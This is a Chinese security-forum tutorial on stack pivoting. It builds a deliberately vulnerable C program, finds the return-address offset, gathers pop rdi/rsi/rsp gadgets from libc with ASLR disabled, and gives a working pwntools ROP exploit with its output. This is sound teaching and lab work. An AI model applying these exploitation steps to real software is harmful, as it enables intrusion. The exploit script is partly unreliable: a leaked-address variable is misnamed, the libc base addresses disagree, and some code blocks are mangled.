首页
社区
课程
招聘
[原创]一个简单实践理解栈空间转移
2023-2-2 08:57 11654

[原创]一个简单实践理解栈空间转移

2023-2-2 08:57
11654

1 what ?

stack pivoiting是一种栈空间转移技术

2 why

有时候缓冲区有长度限制,不利于在栈上配置rop gadget(空间不够)!

3 how

3.1 pop rsp gadget

这种情形比较少见,遇到了相当幸运~

3.2 xchg <reg>, rsp

1
2
3
pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

3.3 leave;ret

leave相当于:

1
2
mov rsp,rbp
pop rbp

加上ret就等于:

1
2
3
mov rsp,rbp
pop rbp
pop rip

覆盖rbp,然后栈中的rip覆盖为Addr(leave;ret),当接收数据的函数返回时候,rsp指向target,target新栈中保留了待执行shellcode

4 漏洞程序 vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// gcc source.c -o vuln -no-pie
#include <stdio.h>
 
void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}
 
void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}
 
int main() {
    vuln();
    return 0;
}

4.1 vuln脆弱性

  • 存在输入性栈溢出,buffer大小0x60
  • fgets存在输入大小限制,0x80上界
  • 程序编译保护存在,nx
    1
    2
    3
    4
    5
    6
    7
    ─$ checksec --file=./vuln
    [*] '/home/kali/exploits/spivot/vuln'
      Arch:     amd64-64-little
      RELRO:    Partial RELRO
      Stack:    No canary found
      NX:       NX enabled
      PIE:      No PIE (0x400000)

    4.2 vuln脆弱性利用目标

    rip指向 winner函数,获取winner函数的执行权

4.3 vuln利用步骤

4.3.1 测算rip的偏移

  1. 生成de bruijn串
    1
    2
    └─$ ragg2 -P 200 -r
    AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
  2. fuzz vuln
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ┌──(kali㉿kali)-[~/exploits/spivot]
    └─$ r2 -d -A vuln
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Finding and parsing C++ vtables (avrr)
    [x] Skipping type matching analysis in debugger mode (aaft)
    [x] Propagate noreturn information (aanr)
    [ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.
    [0x7f93b6df79c0]> dc
    Try pivoting to: 0x7ffcd3256000
    AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
    [+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
  3. 确定rip偏移

    1
    2
    3
    4
    [0x004011c5]> dr rbp
    0x4169414168414167
    [0x004011c5]> wopO `dr rbp`
    96

    所以,rip的偏移是104 = 96 + 8

  4. 猜测栈基本布局

  • stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |

因为fgets输入长度限制是0x80==128,而且,栈不可执行shellcode,所以,可以覆盖的区域只有 rip,x1,x2 三个变量的地址,且只能用rop gadget方式。

4.3.2 寻找可用gadget

  1. pop rdi
1
2
──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary vuln  | grep   'pop rdi'

很不幸,vuln程序中找不到类似pop rdi | pop rsi等指令,只能去libc找一个用用。

  • libc找gadget的前提是ASLR已经关闭:
1
2
3
──(kali㉿kali)-[~/exploits/spivot]
└─$ cat /proc/sys/kernel/randomize_va_space
0
  • ROPgadget寻找libc
    ```
    └─$ ldd vuln
    1
    2
    3
    linux-vdso.so.1 (0x00007ffff7fc9000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16

1
2
3
所以,**POP_RDI = 0x00007f85682b0000 + 0x027725**
 
2. pop rsi

┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf

1
2
3
所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9**
 
3. pop rsp

┌──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa**
 
### 4.3.3 规划栈布局
 
- **old_stack ::= |+00 buffer | +96 rbp |  +104 rip | +112  x1 |  +120 x2 | +128 x3 |**
 
new_stack ::=
 
| 新栈布局     |
|  :---:      |
| +00 POP_RDI         |
| +08 0xdeadbeef   |
| +16 POP_RSI      |
| +24 0xdeadc0de   |
| +32 winner_addr  |
| ...              |
| +104 POP_RSP (rip位置)    |
| +112 Buffer_addr |
 
### 4.3.4 pwntools编写利用代码

from pwn import *
elf = context.binary = ELF('./vuln')

 

p = process()

获取buffer_addr

p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')

 

LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9

设置payload

payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)

send payload

p.sendline(payload)

 

print(p.recvline())

1
### exploit output

└─$ python exploit.py
[] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[
] leak buffer addr: 0x7fffffffe280
[] Paused (press any to continue)
b'Great job!\n'
[
] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
```


[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回